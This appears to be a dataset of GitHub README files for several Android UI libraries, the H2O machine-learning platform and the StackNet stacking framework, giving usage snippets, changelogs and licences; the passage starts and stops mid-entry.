* @see zhy.com.highlight.view.HightLightView#addViewForEveryTip(HighLight.ViewPosInfo)
* @see HightLightView#buildMask()
*/
protected abstract void drawShape(Bitmap bitmap, HighLight.ViewPosInfo viewPosInfo);
```
BaseLightShape的实现类:RectLightShape(矩形)、CircleLightShape(圆形)、OvalLightShape(椭圆),具体实现请查看代码
## Question 问题
1. 添加的提示布局怎么在屏幕中水平居中显示(垂直居中类似)
> 提示布局根布局`android:layout_width="match_parent"` `android:gravity="center_horizontal"`
> 自定义定位参数`rightMargin=0`
2. 怎么针对同一个高亮控件添加多个提示布局
> `addHighLight` 多次添加 第一个参数使用同一个控件id即可
3. 高亮布局显示后 底层布局有变化 怎么更新高亮布局
> `mHighLight.getHightLightView().requestLayout()` 掉用后高亮布局会重新布局及绘制
4. ~~页面加载完成,自动显示,应该放在哪里调用?~~
**v1.8.0及以后版本建议使用`setOnLayoutCallback`方式 老版本使用下面方案**
```
@Override
public void onWindowFocusChanged(boolean hasFocus) {
super.onWindowFocusChanged(hasFocus);
//界面初始化后显示高亮布局
mHightLight.show();
}
或者:
getWindow().getDecorView().getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() {
@Override
public void onGlobalLayout() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
getWindow().getDecorView().getViewTreeObserver()
.removeOnGlobalLayoutListener(this);
}
//界面初始化后显示高亮布局
initHightLight();
mHightLight.show();
}
});
```
5. ~~如果使用viewpager非第一页高亮布局 有可能定位到屏幕外~~
**v1.7.2版本已修复 具体方案参考#21**
> 感谢 @liyanxi 提供的方案 会更新到 [README.md](https://github.com/isanwenyu/Highlight/blob/master/README.md)
```
//自定义高亮形状
final HighLight.LightShape mLightShape = new BaseLightShape() {
@Override
protected void resetRectF4Shape(RectF viewPosInfoRectF, float dx, float dy) {
//重置viewPosInfoRectF 模掉屏幕宽度 得到真实的left
viewPosInfoRectF.offsetTo(viewPosInfoRectF.left % DeviceUtil.getScreenDispaly(getActivity())[0], viewPosInfoRectF.top);
}
......
```
## Changelog 更改历史
See details in [CHANGELOG.md](CHANGELOG.md) file.
## 致谢
- 感谢android day day dota1群,苏苏,提供的图片资源。
- thx for `李志云@dota1`的测试、修改、提议。
- thx for [@zj593743143](https://github.com/zj593743143)的测试和建议
| 0 |
flavienlaurent/datetimepicker | DateTimePicker is a library which contains the beautiful DatePicker that can be seen in the new Google Agenda app. | 2013-06-02T18:22:24Z | null | Official source:
https://android.googlesource.com/platform/frameworks/opt/datetimepicker/
(Android 4.3+)
#DateTimePicker
DateTimePicker is a library which contains the beautiful DatePicker and TimePicker that can be seen in the new Google Agenda app.
**This picker is available for 2.1+**
You have a recurrence picker in the same style [here](https://github.com/Shusshu/Android-RecurrencePicker).
## WARNING
* Requires android-support-v4 and [NineOldAndroids][5]
* Accessibility is missing for DatePicker on all devices and Below ICS devices for TimePicker.
* Scroll adjustment is missing below ICS devices for TimePicker and DatePicker.
## Description
This library reproduces as much as possible the original picker contained in the new Google Agenda app.
![Example Image][1]
Try out the sample APK [here][2]
Or browse the [source code of the sample application][3] for a complete example of use.
## Including in your project
Last version is 0.0.2
Just add the following statement in your build.gradle
compile 'com.github.flavienlaurent.datetimepicker:library:VERSION'
## Usage
Using the library is simple, just look at the source code of the provided sample [here][4]
## Acknowledgements
* Thanks to Google for this beautiful picker
## License
Copyright 2013 Flavien Laurent (DatePicker) edisonw (TimePicker)
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
[1]: https://raw.github.com/biboune/datetimepicker/master/graphics/img1.png
[2]: https://raw.github.com/biboune/datetimepicker/master/datetimepicker-sample.apk
[3]: https://github.com/biboune/datetimepicker/tree/master/datetimepicker-sample
[4]: https://github.com/biboune/datetimepicker/blob/master/datetimepicker-sample/src/com/fourmob/datetimepicker/sample/MainActivity.java
[5]: http://nineoldandroids.com/
| 0 |
takahirom/PreLollipopTransition | Simple tool which help you to implement activity and fragment transition for pre-Lollipop devices. | 2015-03-25T16:00:32Z | null | # PreLollipopTransition
![build status](https://circleci.com/gh/takahirom/PreLollipopTransition/tree/master.svg?style=shield&circle-token=1759143e61c73eeca59280337c8c95ab9f8dbafb) [![API](https://img.shields.io/badge/API-14%2B-brightgreen.svg?style=flat)](https://android-arsenal.com/api?level=14)
Simple tool which help you to implement activity and fragment transition for pre-Lollipop devices.
![prelollipopanimation](https://cloud.githubusercontent.com/assets/1386930/7614211/53ca12d8-f9d0-11e4-8b98-b6d98272f67d.gif)
## Download
In your app build.gradle add
```groovy
dependencies {
compile 'com.kogitune:pre-lollipop-activity-transition:1.x.x'
}
```
[ ![Download](https://api.bintray.com/packages/takahirom/maven/PreLollipopTransition/images/download.svg) ](https://bintray.com/takahirom/maven/PreLollipopTransition/_latestVersion)
## Code
### Activity
Start Activity in first activity.
```java
findViewById(R.id.imageView).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
final Intent intent = new Intent(MainActivity.this, SubActivity.class);
ActivityTransitionLauncher.with(MainActivity.this).from(v).launch(intent);
}
});
```
Receive intent in second activity.
```java
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_sub);
ActivityTransition.with(getIntent()).to(findViewById(R.id.sub_imageView)).start(savedInstanceState);
}
```
#### If you want the exit animation, you can do like this.
```java
private ExitActivityTransition exitTransition;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_sub2);
exitTransition = ActivityTransition.with(getIntent()).to(findViewById(R.id.sub_imageView)).start(savedInstanceState);
}
@Override
public void onBackPressed() {
exitTransition.exit(this);
}
```
#### If you want to use `startActivityForResult`, you should do below.
1. Use `createBundle()`.
2. Put Extra to intent.
3. Call overridePendingTransition after `startActivityForResult`.
```java
Bundle transitionBundle = ActivityTransitionLauncher.with(MainActivity.this).from(v).createBundle();
intent.putExtras(transitionBundle);
startActivityForResult(intent, REQUEST_CODE);
// you should prevent default activity transition animation
overridePendingTransition(0, 0);
```
### Fragment
Start fragment transition in first fragment.
```java
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.support_fragment_start, container, false);
v.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
final EndFragment toFragment = new EndFragment();
FragmentTransitionLauncher
.with(view.getContext())
.image(BitmapFactory.decodeResource(getResources(), R.drawable.photo))
.from(view.findViewById(R.id.imageView)).prepare(toFragment);
getFragmentManager().beginTransaction().replace(R.id.content, toFragment).addToBackStack(null).commit();
}
});
return v;
}
```
Start animation in second fragment.
```java
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View v = inflater.inflate(R.layout.support_fragment_end, container, false);
final ExitFragmentTransition exitFragmentTransition = FragmentTransition.with(this).to(v.findViewById(R.id.fragment_imageView)).start(savedInstanceState);
exitFragmentTransition.startExitListening();
return v;
}
```
If you want to pass argument to second fragment, you should use `Fragment#getArguments()` after call prepare().
```java
final EndFragment toFragment = new EndFragment();
FragmentTransitionLauncher
.with(view.getContext())
.image(BitmapFactory.decodeResource(getResources(), R.drawable.photo))
.from(view.findViewById(R.id.imageView)).prepare(toFragment);
toFragment.getArguments().putString("stringArgKey", "this is value");
getFragmentManager().beginTransaction().replace(R.id.content, toFragment).addToBackStack(null).commit();
```
## Sample
![image](https://cloud.githubusercontent.com/assets/1386930/7668974/019262a0-fc95-11e4-906a-84a2b744a12c.gif)
## Contributors
* [shiraji](http://www.github.com/shiraji)
* [lovejjfg](https://github.com/lovejjfg)
## Thanks
Sample Photo
Luke Ma
https://www.flickr.com/photos/lukema/12499338274/in/photostream/
DevBytes: Custom Activity Animations
https://www.youtube.com/watch?v=CPxkoe2MraA
## License
This project is released under the Apache License, Version 2.0.
* [The Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0)
| 0 |
waynell/VideoListPlayer | Play video in ListView or RecyclerView | 2016-03-18T10:49:00Z | null | [![Build Status](https://semaphoreapp.com/api/v1/projects/d4cca506-99be-44d2-b19e-176f36ec8cf1/128505/shields_badge.svg)](https://github.com/waynell/VideoListPlayer) [![](https://jitpack.io/v/waynell/VideoListPlayer.svg)](https://jitpack.io/#waynell/VideoListPlayer)
# VideoListPlayer
VideoListPlayer实现了在列表控件(ListView, RecyclerView)中加载并播放视频,并支持滑动时自动播放/暂停的功能
利用该项目,可以轻松实现类似Instagram的视频播放功能
**注意:最低支持API 14以上**
#效果预览
![](./art/preview.gif) ![](./art/Screenshot_20160716.png)
#Changelogs
**v.14**
1. 支持更多类型的scaleType,详见 [Android-ScalableVideoView](https://github.com/yqritc/Android-ScalableVideoView)
2. 加入 `getCurrentPosition()` 和 `getDuration()` 接口
**v1.3**
1. fix在多类型列表元素中出现视频无法正常播放的bug
**Demo 更新**
1. 增加在ListView中播放视频的示例
2. ListView和RecyclerView中支持多类型view type展示
**v1.2**
1. fix NPE bugs
**v1.1**
1. 自动播放/停止功能性能优化
2. 视频播放加入声音开关控制,默认播放视频关闭声音,点击视频开启声音
3. fix在4.1.1以下无法播放视频的bug
#基本用法
添加gradle依赖
repositories {
maven { url "https://jitpack.io" }
}
dependencies {
compile 'com.github.waynell:VideoListPlayer:1.4'
}
在xml布局中加入以下代码
<com.waynell.videolist.widget.TextureVideoView
android:id="@+id/video_view"
android:layout_width="match_parent"
android:layout_height="300dp" />
然后设置视频路径地址,最后调用start()方法开始播放视频
videoView.setVideoPath(mVideoPath);
videoView.start();
视频播放是异步的,可以通过设置MediaPlayerCallback回调监听播放事件
view.setMediaPlayerCallback(this);
监听事件如下
void onPrepared(MediaPlayer mp);
void onCompletion(MediaPlayer mp);
void onBufferingUpdate(MediaPlayer mp, int percent);
void onVideoSizeChanged(MediaPlayer mp, int width, int height);
boolean onInfo(MediaPlayer mp, int what, int extra);
boolean onError(MediaPlayer mp, int what, int extra);
#滑动时自动播放/停止的功能
首先,你必须实现ListItem接口来获取item被激活或取消激活的事件回调
public interface ListItem {
// 当前item被激活
void setActive(View newActiveView, int newActiveViewPosition);
// 当前item被取消
void deactivate(View currentView, int position);
}
其次,实现ItemsProvider接口返回当前列表总数和列表中某一位置的ListItem实例
public interface ItemsProvider {
ListItem getListItem(int position);
int listItemSize();
}
最后添加以下代码实现可见比的计算,以RecyclerView为例
ItemsProvider itemProvider;
ListItemsVisibilityCalculator calculator = new SingleListViewItemActiveCalculator(itemProvider,
new RecyclerViewItemPositionGetter(layoutManager, mRecyclerView););
mRecyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
@Override
public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
mScrollState = newState;
if(newState == RecyclerView.SCROLL_STATE_IDLE && !mListItems.isEmpty()){
mCalculator.onScrollStateIdle();
}
}
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
mCalculator.onScrolled(mScrollState);
}
});
# 网络视频的本地缓存
请参考demo工程的实现
#实现原理
请参见我的博客 [视频在滑动列表中的异步缓存和播放](http://blog.waynell.com/2016/03/21/video-loader/)
#Thanks
[VideoPlayerManager](https://github.com/danylovolokh/VideoPlayerManager)
滑动自动播放/暂停的功能基于项目优化而来
| 0 |
razerdp/FriendCircle | // 一起来撸个朋友圈吧 | 2016-02-09T15:51:46Z | null | FriendCircle
---
### 一起来撸个朋友圈吧(重构版)
如您所见,现在的工程运行起来将会是一片空白,原因很简单——我正在进行第三次重构。
本次重构将会引起如下改动:
- 项目整体全面替换,旧有代码完全删除
- 所有控件将会重写
- 组件化将会采取全新的一套(这里组件化参考AppJoint的思想,但会自行写出apt代码)
- 尽可能少的依赖第三方
- 抛弃MVP,回归最原始的MVC,原因不再阐述
- 直播撸代码,本次重构会直播写代码哦~如果有人在直播中提问我会回答,否则的话应该只会看到我在静静的撸代码,如果没时间看直播可以看回放~
- 直播地址:[https://live.bilibili.com/724896](https://live.bilibili.com/724896)
- 直播时间:一般周末白天
### 进度:
* 2019/08/14
* apt初步搭建完毕
* 2019/08/12
* apt初步搭建,processor编写
* 组件化优化
* 略微优化BaseRecyclerViewAdapter~
### 朋友圈QQ群将会在19/08/13解散,所有讨论将会转移到微信。如果有兴趣进微信群可以打赏一下然后找我拉您进去~
|微信 | 支付宝 |
| ------------- |:-------------:|
| ![](https://github.com/razerdp/FriendCircle/blob/master/wechat.png) | ![](https://github.com/razerdp/FriendCircle/blob/master/alipay.png) |
LICENSE
---
[GPL3.0](https://github.com/razerdp/FriendCircle/blob/master/LICENSE)
| 0 |
mzule/FantasySlide | Another sliding menu base on DrawerLayout | 2016-09-07T15:17:04Z | null | # FantasySlide
[![DOWNLOAD](https://api.bintray.com/packages/mzule/maven/fantasy-slide/images/download.svg)](https://bintray.com/mzule/maven/fantasy-slide/_latestVersion)
[![API](https://img.shields.io/badge/API-15%2B-orange.svg?style=flat)](https://android-arsenal.com/api?level=15)
<a href="http://www.methodscount.com/?lib=com.github.mzule.fantasyslide%3Alibrary%3A1.0.4"><img src="https://img.shields.io/badge/Methods and size-core: 142 | deps: 15054 | 24 KB-e91e63.svg"/></a>
[![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-FantasySlide-green.svg?style=flat)](http://android-arsenal.com/details/1/4309)
一个 DrawerLayout 的扩展,具有帅气的动画与创新的交互。一次手势完成滑出侧边栏与选择菜单。欢迎下载 demo 体验。
<https://raw.githubusercontent.com/mzule/FantasySlide/master/demo.apk>
## 效果
![](https://raw.githubusercontent.com/mzule/FantasySlide/master/sample.gif)
## 使用方法
### 添加依赖
``` groovy
compile 'com.github.mzule.fantasyslide:library:1.0.5'
```
### 调用
调用方法基本与 DrawerLayout 一致. 本项目支持左右 (start left end right) 侧边栏同时定义。
``` xml
<com.github.mzule.fantasyslide.FantasyDrawerLayout xmlns:app="http://schemas.android.com/apk/res-auto"
android:id="@+id/drawerLayout"
android:layout_width="match_parent"
android:layout_height="match_parent">
<ImageView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:scaleType="centerCrop"
android:src="@drawable/fake" />
<com.github.mzule.fantasyslide.SideBar
android:id="@+id/leftSideBar"
android:layout_width="200dp"
android:layout_height="match_parent"
android:layout_gravity="start"
android:background="@color/colorPrimary"
app:maxTranslationX="66dp">
<!-- 这里是 SideBar 的子视图-->
</com.github.mzule.fantasyslide.SideBar>
<!-- 如果需要的话,可以添加右侧边栏-->
</com.github.mzule.fantasyslide.FantasyDrawerLayout>
```
1. 最外层的 FantasyDrawerLayout 的使用与官方的 DrawerLayout 完全一致。
2. SideBar 用来包装每一个菜单项,SideBar 本质上可以当做一个 vertical 的 LinearLayout 来使用。
3. 效果图上的文字变色是表示该菜单处于 hover 状态, hover 状态默认会设定 view 的 pressed 状态为 true。可以通过 Listener 来改写, 下文会有详细说明。
4. 详细参考 <https://github.com/mzule/FantasySlide/blob/master/app/src/main/res/layout/activity_main.xml>
## 进阶
### maxTranslationX
通过设置 maxTranslationX 可以设置菜单项动画的最大位移。仅有在采用默认 Transformer 时才有效。
``` xml
<com.github.mzule.fantasyslide.SideBar
...
app:maxTranslationX="88dp">
```
一般情况下,左边的侧边栏 maxTranslationX 为正数,右边的侧边栏 maxTranslationX 为负数。
### Listener
支持设置 Listener 来监听侧边栏菜单的状态。
``` java
SideBar leftSideBar = (SideBar) findViewById(R.id.leftSideBar);
leftSideBar.setFantasyListener(new SimpleFantasyListener() {
@Override
public boolean onHover(@Nullable View view) {
return false;
}
@Override
public boolean onSelect(View view) {
return false;
}
@Override
public void onCancel() {
}
});
```
1. Hover 是指上面效果图中,高亮的状态,此时手指仍在屏幕上 move. 默认的 hover 处理逻辑是设置 view 的 pressed 状态为 true. 重写 onHover(View) 方法返回 true 可以改写默认逻辑。
2. Select 是指 hover 状态时手指离开屏幕,触发 select 状态。默认的处理逻辑是调用 view 的 onClick 事件。重写 onSelect(View) 方法返回 true 可以改写默认逻辑。
3. Cancel 是指手指离开屏幕时,没有任何 view 触发 select 状态,则为 cancel,无默认处理逻辑。
### Transformer
项目设计了一个 Transformer 接口,供调用者自定义菜单项的动画效果。使用方法类似于 ViewPager 的 PageTransformer.
``` java
class DefaultTransformer implements Transformer {
private float maxTranslationX;
DefaultTransformer(float maxTranslationX) {
this.maxTranslationX = maxTranslationX;
}
@Override
public void apply(ViewGroup sideBar, View itemView, float touchY, float slideOffset, boolean isLeft) {
float translationX;
int centerY = itemView.getTop() + itemView.getHeight() / 2;
float distance = Math.abs(touchY - centerY);
float scale = distance / sideBar.getHeight() * 3; // 距离中心点距离与 sideBar 的 1/3 对比
if (isLeft) {
translationX = Math.max(0, maxTranslationX - scale * maxTranslationX);
} else {
translationX = Math.min(0, maxTranslationX - scale * maxTranslationX);
}
itemView.setTranslationX(translationX * slideOffset);
}
}
```
## 感谢
动画效果参考自 dribbble. <https://dribbble.com/shots/2269140-Force-Touch-Slide-Menu> 在此感谢。
另外,demo 里面 MainActivity 的右边栏实现了类似原作的菜单动画效果。具体可以参考相关代码。
## 许可
Apache License 2.0
## 联系我
任何相关问题都可以通过以下方式联系我。
1. 提 issue
1. 新浪微博 http://weibo.com/mzule
1. 个人博客 https://mzule.github.io/
1. 邮件 "mzule".concat("4j").concat("@").concat("gmail.com")
| 0 |
h2oai/h2o-2 | Please visit https://github.com/h2oai/h2o-3 for latest H2O | 2013-02-06T03:09:38Z | null | # Caution: H2O-3 is now the current H2O!
# Please visit <https://github.com/h2oai/h2o-3>
---
---
H2O
========
H2O makes Hadoop do math! H2O scales statistics, machine learning and math over BigData. H2O is extensible and users can build blocks using simple math legos in the core. H2O keeps familiar interfaces like R, Excel & JSON so that BigData enthusiasts & experts can explore, munge, model and score datasets using a range of simple to advanced algorithms. Data collection is easy. Decision making is hard. H2O makes it fast and easy to derive insights from your data through faster and better predictive modeling. H2O has a vision of online scoring and modeling in a single platform.
Product Vision for first cut
------------------------------
H2O product, the Analytics Engine will scale Classification and Regression.
- RandomForest, Generalized Linear Modeling (GLM), logistic regression, k-Means, available over R / REST / JSON-API
- Basic Linear Algebra as building blocks for custom algorithms
- High predictive power of the models
- High speed and scale for modeling and scoring over BigData
Data Sources
- We read and write from/to HDFS, S3, NoSQL, SQL
- We ingest data in CSV format from local and distributed filesystems (nfs)
- A JDBC driver for SQL and DataAdapters for NoSQL datasources is in the roadmap. (v2)
Console provides Adhoc Data Analytics at scale via R-like Parser on BigData
- Able to pass and evaluate R-like expressions, slicing and filters make this the most powerful web calculator on BigData
Users
--------------------------------
Primary users are Data Analysts looking to wield a powerful tool for Data Modeling in the Real-Time. Microsoft Excel, R, SAS wielding Data Analysts and Statisticians.
Hadoop users with data in HDFS will have a first class citizen for doing Math in Hadoop ecosystem.
Java and Math engineers can extend core functionality by using and extending legos in a simple java that reads like math. See package hex.
Extensibility can also come from writing R expressions that capture your domain.
Design
--------------------------------
We use the best execution framework for the algorithm at hand. For first cut parallel algorithms: Map Reduce over distributed fork/join framework brings fine grain parallelism to distributed algorithms.
Our algorithms are cache oblivious and fit into the heterogeneous datacenter and laptops to bring best performance.
Distributed Arraylets & Data Partitioning to preserve locality.
Move code, not data, not people.
Extensions
---------------------------------
One of our first powerful extension will be a small tool belt of stats and math legos for Fraud Detection. Dealing with Unbalanced Datasets is a key focus for this.
Users will use JSON/REST-api via H2O.R through connects the Analytics Engine into R-IDE/RStudio.
Community
---------------------------------
We will build & sustain a vibrant community with the focus of taking software engineering approaches to data science and empowering everyone interested in data to be able to hack data using math and algorithms.
Join us on google groups [h2ostream](https://groups.google.com/forum/#!forum/h2ostream).
Team
```
SriSatish Ambati
Cliff Click
Tom Kraljevic
Earl Hathaway
Tomas Nykodym
Michal Malohlava
Kevin Normoyle
Irene Lang
Spencer Aiello
Anqi Fu
Nidhi Mehta
Arno Candel
Nikole Sanchez
Josephine Wang
Amy Wang
Max Schloemer
Ray Peck
Anand Avati
Sebastian Vidrio
```
Open Source
```
Jan Vitek
Mr.Jenkins
Petr Maj
Matt Fowles
```
Advisors
--------------------------------
Scientific Advisory Council
```
Stephen Boyd
Rob Tibshirani
Trevor Hastie
```
Systems, Data, FileSystems and Hadoop
```
Doug Lea
Chris Pouliot
Dhruba Borthakur
Charles Zedlewski
```
Investors
--------------------------------
```
Jishnu Bhattacharjee, Nexus Venture Partners
Anand Babu Periasamy
Anand Rajaraman
Dipchand Nishar
```
| 0 |
Kelin-Hong/ScrollablePanel | A flexible view for providing a limited rect window into a large data set,just like a two-dimensional RecyclerView. It different from RecyclerView is that it's two-dimensional(just like a Panel) and it pin the itemView of first row and first column in their original location. | 2016-11-28T06:41:44Z | null | # ScrollablePanel
---
A flexible view for providing a limited rect window into a large data set,just like a two-dimensional RecyclerView.
It different from RecyclerView is that it's two-dimensional(just like a Panel) and it pin the itemView of first row and first column in their original location.
![ScrollablePanel Demo](art/ScrollablePanelDemo.gif)
## Demo ##
Apk Download:[ScrollablePanelDemo.apk](art/ScrollablePanelDemo.apk)
## Download ##
```groovy
compile 'com.kelin.scrollablepanel:library:1.2.0'
```
## Usage ##
ScrollablePanel is very similar to the RecyclerView and we can use them in the same way.
####1、Initialize ScrollablePanel
```xml
<com.kelin.scrollablepanel.library.ScrollablePanel
android:id="@+id/scrollable_panel"
android:layout_width="match_parent"
android:layout_height="match_parent" />
```
####2、Adapter
This adapter must extend a class called PanelAdapter,We now have to override following methods so that we can implement our logic.
```java
public class TestPanelAdapter extends PanelAdapter {
private List<List<String>> data;
@Override
public int getRowCount() {
return data.size();
}
@Override
public int getColumnCount() {
return data.get(0).size();
}
@Override
public int getItemViewType(int row, int column) {
return super.getItemViewType(row, column);
}
@Override
public void onBindViewHolder(RecyclerView.ViewHolder holder, int row, int column) {
String title = data.get(row).get(column);
TitleViewHolder titleViewHolder = (TitleViewHolder) holder;
titleViewHolder.titleTextView.setText(title);
}
@Override
public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
return new TestPanelAdapter.TitleViewHolder(LayoutInflater.from(parent.getContext())
.inflate(R.layout.listitem_title, parent, false));
}
private static class TitleViewHolder extends RecyclerView.ViewHolder {
public TextView titleTextView;
public TitleViewHolder(View view) {
super(view);
this.titleTextView = (TextView) view.findViewById(R.id.title);
}
}
}
```
####3、Set Adapter
```java
@Override
protected void onCreate(Bundle savedInstanceState) {
...
...
TestPanelAdapter testPanelAdapter = new TestPanelAdapter();
ScrollablePanel scrollablePanel = (ScrollablePanel) findViewById(R.id.scrollable_panel);
scrollablePanel.setPanelAdapter(testPanelAdapter);
...
...
}
```
## ChangeLog ##
- V1.0.1 (2016-12-01) fix header scroll bug
- V1.1.0 (2016-12-21) fix desynchronisation between RV’s & fix dislocation of first column in every row!
- V1.2.0 (2016-12-26) Add notifyDataSetChanged & Fix auto reset to original position when first time scroll down!
## License
```
Copyright 2016 Kelin Hong
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
``` | 0 |
kaz-Anova/StackNet | StackNet is a computational, scalable and analytical Meta modelling framework | 2017-03-12T23:43:23Z | null | # StackNet
This repository contains StackNet Meta modelling methodology (and software) which is part of my work as a PhD Student in the computer science department at [UCL](http://www.cs.ucl.ac.uk/home/). My PhD was sponsored by [dunnhumby](http://www.dunnhumby.com/).
StackNet is empowered by [H2O](https://github.com/h2oai/h2o-3)'s [agorithms](http://docs.h2o.ai/h2o/latest-stable/h2o-docs/data-science.html)
(**NEW**) There is a [Python implementation of StackNet](https://github.com/h2oai/pystacknet)
StackNet and other topics can now be discussed on [FaceBook](https://www.facebook.com/StackNet/) too :
## Contents
- [What is StackNet](#what-is-stacknet)
- [How does it work](#how-does-it-work)
- [The Modes](#the-modes)
- [Some Notes about StackNet](#some-notes-about-stacknet)
- [Algorithms contained](#algorithms-contained)
- [Algorithm's Tuning parameters](#algorithms-tuning-parameters)
- [Run StackNet](#run-stacknet)
- [Installations](#installations)
- [Command Line Parameters](#command-line-parameters)
- [Data Format](#data-format)
- [Commandline Train Statement](#commandline-train-statement)
- [Commandline predict Statement](#commandline-predict-statement)
- [Examples](#examples)
- [Run StackNet from within Java code](#run-stacknet-from-within-java-code)
- [Potential Next Steps](#potential-next-steps)
- [Reference](#reference)
- [News](#news)
- [Special Thanks](#special-thanks)
![Alt text](/images/StackNet_Logo.png?raw=true "StackNet Logo")
## What is StackNet
StackNet is a computational, scalable and analytical framework implemented with a software implementation in Java that resembles a feedforward neural network and uses Wolpert's stacked generalization [1] in multiple levels to improve accuracy in machine learning problems. In contrast to feedforward neural networks, rather than being trained through back propagation, the network is built iteratively one layer at a time (using stacked generalization), each of which uses the final target as its target.
The Sofware is made available under MIT licence.
[1] Wolpert, D. H. (1992). Stacked generalization. *Neural networks*, 5(2), 241-259.
## How does it work
Given some input data, a neural network normally applies a perceptron along with a transformation function like relu, sigmoid, tanh or others.
The StackNet model assumes that this function can take the form of any supervised machine learning algorithm
Logically the outputs of each neuron, can be fed onto next layers.
The algorithms can be classifiers or regressors or any estimator that produces an output..
For classification problems, to create an output prediction score for any number of unique categories of the response variable, all selected algorithms in the last layer need to have outputs dimensionality equal to the number those unique classes. In case where there are many such classifiers, the results is the scaled average of all these output predictions and can be written as:
## The Modes
The stacking element of the StackNet model could be run with two different modes.
### Normal stacking mode
The first mode (e.g. the default) is the one already mentioned and assumes that in each layer uses the predictions (or output scores) of the direct previous one similar with a typical feedforward neural network or equivalently:
### Restacking mode
The second mode (also called restacking) assumes that each layer uses previous neurons activations as well as all previous layers neurons (including the input layer). Therefore the previous formula can be re-written as:
The intuition behind this mode is derived from the fact that the higher level algorithm has extracted information from the input data, but rescanning the input space may yield new information not obvious from the first passes. This is also driven from the forward training methodology discussed below and assumes that convergence needs to happen within one model iteration.
The modes may also be viewed bellow:
![Alt text](/images/stacknet_modes.png?raw=true "StackNet's Mode")
## K-fold Training
The typical neural networks are most commonly trained with a form of backpropagation, however, stacked generalization requires a forward training methodology that splits the data into two parts – one of which is used for training and the other for predictions. The reason this split is necessary is to avoid overfitting .
However splitting the data into just two parts would mean that in each new layer the second part needs to be further dichotomized increasing the bias as each algorithm will have to be trained and validated on increasingly fewer data. To overcome this drawback, the algorithm utilises a k-fold cross validation (where k is a hyperparameter) so that all the original training data is scored in different k batches thereby outputting n shape training predictions where n is the size of the samples in the training data. Therefore the training process consists of two parts:
1. Split the data k times and run k models to output predictions for each k part and then bring the k parts back together to the original order so that the output predictions can be used in later stages of the model.
2. Rerun the algorithm on the whole training data to be used later on for scoring the external test data. There is no reason to limit the ability of the model to learn using 100% of the training data since the output scoring is already unbiased (given that it is always scored as a holdout set).
The K-fold train/predict process is illustrated below:
![Alt text](/images/kfold_training.png?raw=true "Training StackNet with K-fold")
It should be noted that (1) is only applied during training to create unbiased predictions for the second layers model to fit one. During the scoring time (and after model training is complete) only (2) is in effect.
All models must be run sequentially based on the layers, but the order of the models within the layer does not matter. In other words, all models of layer one need to be trained to proceed to layer two but all models within the layer can be run asynchronously and in parallel to save time. The k-fold may also be viewed as a form of regularization where a smaller number of folds (but higher than 1) ensure that the validation data is big enough to demonstrate how well a single model could generalize. On the other hand higher k means that the models come closer to running with 100% of the training and may yield more unexplained information. The best values could be found through cross-validation. Another possible way to implement this could be to save all the k models and use the average of their predicting to score the unobserved test data, but this has all the models never trained with 100% of the training data and may be suboptimal.
## Some Notes about StackNet
StackNet is (commonly) **better than the best single model it contains in each first layer** however, its ability to perform well still relies on a mix of strong and diverse single models in order to get the best out of this Meta modelling methodology.
StackNet (methodology - not the software) was also used to win the [Truly Native](http://blog.kaggle.com/2015/12/03/dato-winners-interview-1st-place-mad-professors/ ) data modelling competition hosted by the popular data science platform Kaggle in 2015
StackNet in simple terms is also explained in [kaggle's blog](http://blog.kaggle.com/2017/06/15/stacking-made-easy-an-introduction-to-stacknet-by-competitions-grandmaster-marios-michailidis-kazanova/)
Network's example:
![Alt text](/images/mad_prof_winning.png?raw=true "Winning Truly Native competitions Using STackNet Methodology")
StackNet is made available now with a handful of classifiers and regressors. The implementations are based on the original papers and software. However, most have some personal tweaks in them.
## Algorithms contained
### Native
- [AdaboostForestRegressor](/parameters/PARAMETERS.MD#adaboostforestregressor)
- [AdaboostRandomForestClassifier](/parameters/PARAMETERS.MD#adaboostrandomforestclassifier)
- [DecisionTreeClassifier](/parameters/PARAMETERS.MD#decisiontreeclassifier)
- [DecisionTreeRegressor](/parameters/PARAMETERS.MD#decisiontreeregressor)
- [GradientBoostingForestClassifier](/parameters/PARAMETERS.MD#gradientboostingforestclassifier)
- [GradientBoostingForestRegressor](/parameters/PARAMETERS.MD#gradientboostingforestregressor)
- [RandomForestClassifier](/parameters/PARAMETERS.MD#randomforestclassifier)
- [RandomForestRegressor](/parameters/PARAMETERS.MD#randomforestregressor)
- [Vanilla2hnnregressor](/parameters/PARAMETERS.MD#vanilla2hnnregressor)
- [Vanilla2hnnclassifier](/parameters/PARAMETERS.MD#vanilla2hnnclassifier)
- [Softmaxnnclassifier](/parameters/PARAMETERS.MD#softmaxnnclassifier)
- [Multinnregressor](/parameters/PARAMETERS.MD#multinnregressor)
- [NaiveBayesClassifier](/parameters/PARAMETERS.MD#naivebayesclassifier)
